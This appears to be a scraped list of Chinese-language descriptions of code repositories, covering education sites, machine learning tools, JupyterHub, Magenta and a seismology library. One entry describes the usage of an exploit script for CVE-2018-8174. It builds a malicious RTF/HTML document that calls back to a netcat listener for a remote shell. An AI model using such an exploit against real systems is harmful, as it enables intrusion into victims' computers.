使用Python3.x与Django2.0.1开发的在线教育平台网站

粒子群算法求解机器人路径规划,粒子群算法的流程,Python源码

本项目通过CNN方法识别出图片集中的人脸位置并将图片裁剪，使新的图片包含尽可能多的人脸信息，然后对裁剪后的图片进行编码，使用DBSCAN方法对编码后的信息进行聚类，最终实现不同人脸的分类。 由最终的结果可知，使用DBSCAN和CNN方法进行人脸聚类具有较高的识别准确率和识别效率，且运行效果良好。

JupyterHub - 支持多用户服务器版 Jupyter notebooks 技术概览 | 安装 | 配置| 码头工人 | 贡献 | 许可证 | 帮助和资源 JupyterHub 使用 JupyterHub，您可以创建一个多用户集线器，它生成、管理和代理单用户 Jupyter 笔记本服务器的多个实例。 Jupyter 项目创建了 JupyterHub 以支持许多用户。 Hub 可以为学生班级、企业数据科学工作组、科学研究项目或高性能计算组提供笔记本服务器。 技术概述 JupyterHub 的三个主要参与者： 多用户 Hub（tornado 进程）可配置的 http 代理（node-http-proxy） 多个单用户 Jupyter notebook 服务器（Python/Jupyter/tornado） 操作的基本原则是：Hub 启动一个代理人。 默认情况下，代理将所有请求转发到 Hub。 集线器处理登录，并按需生成单用户服务器。 集线器配置代理以将 url 前缀转发到单用户笔记本服务器。 JupyterHub 还提供了一个 REST API 来管理 Hu

Grad-CAM的Pytorch实现。Pytorch implementation of Grad-CAM Pytorch 中的 Grad-CAM 实现是什么让网络认为图像标签是“哈巴狗，哈巴狗”和“虎斑猫，虎斑猫”：将 Grad-CAM 与引导反向传播结合用于“哈巴狗，哈巴狗”类：梯度类激活图是深度学习网络的一种可视化技术。 见论文：https://arxiv.org/pdf/1610.02391v1.pdf 论文作者火炬实现：https://github.com/ramprs/grad-cam 我的 Keras 实现：https://github.com/jacobgil /keras-grad-cam 这使用来自 torchvision 的 VGG19。 第一次使用时会下载。 可以修改代码以适用于任何模型。 然而，torchvision 中的 VGG 模型具有用于网络卷积部分和全连接部分的特征/分类器方法。 此代码假定传递的模型支持这两种方法。 用法：python gradcam.py --image-path 与 CUDA 一起使用： python gradcam

Magenta: 利用机器智能生成音乐 Magenta 是 Google Brain 团队的一个项目，它提出以下问题：我们能否使用机器学习来创作引人入胜的艺术和音乐？ 如果是这样，如何？ 如果没有，为什么不呢？ 我们将使用 TensorFlow，并将在此 GitHub 上以开源形式发布我们的模型和工具。 我们还将发布演示、教程博客帖子和技术论文。 如果您想了解 Magenta 的发展情况，可以阅读我们的博客或加入我们的讨论组。 安装 Python Pip Magenta 维护了一个易于安装的 pip 包。 我们建议使用 Anaconda 来安装它，但它可以在任何标准 Python 2.7 环境中工作。 这些说明将假设您使用的是 Anaconda。 自动安装如果您运行的是 Mac OS X 或 Ubuntu，您可以尝试使用我们的自动安装脚本。 只需将以下命令粘贴到您的终端中即可。 curl https://raw.githubusercontent.com/tensorflow/magenta/master/magenta/tools/magenta-install

CVE-2018-8174_EXP 用法：CVE-2018-8174.py [-h] -u URL -o输出[-i IP] [-p端口] 针对CVE-2018-8174的漏洞利用 可选参数：-h，--help显示此帮助消息并退出-u URL，--url URL exp url -o OUTPUT，--output OUTPUT输出利用rtf -i IP，--ip IP表示netcat -p PORT ，--port netcat的PORT端口 例如： python CVE-2018-8174.py -u -o exp.rtf -i 2.2.2.2 -p 4444 将exploit.html放在您的服务器上（1.1.1.1） netcat收听[any] 4444（2.2.2.2） 好好享受 ！

qmlutil QuakeML实用程序 在理想世界中，所有专业地震应用程序都使用QuakeML。 这是针对不发生这种情况的情况。 关于 这是内华达州地震实验室的python软件包，用于处理QuakeML模型语言模式“ QML”。 它主要包含用于处理python dict的管家类和函数，以及遵循QuakeML v1.2模式的列表。 它包含一些模式转换器类，以及一些用于使用第三方库的插件。 该模块尚在开发中，可能会有所更改，直到1.0版本。 就是说，目标是保持当前的方法和API稳定到1.0并一直保持到1.0。 NSL当前正在生产中使用此库，因此我们应该避免尽可能不更改API。 希望有更多/更好的文档。 NSL将所有python库构建为wheel； 要构建qmlutil，请克隆存储库，并在顶层目录中构建一个可安装的转轮： % git clone https://github.com/NV

Python编程快速上手 让繁琐工作自动化 教程的源码，十分经典

Python：教程：Python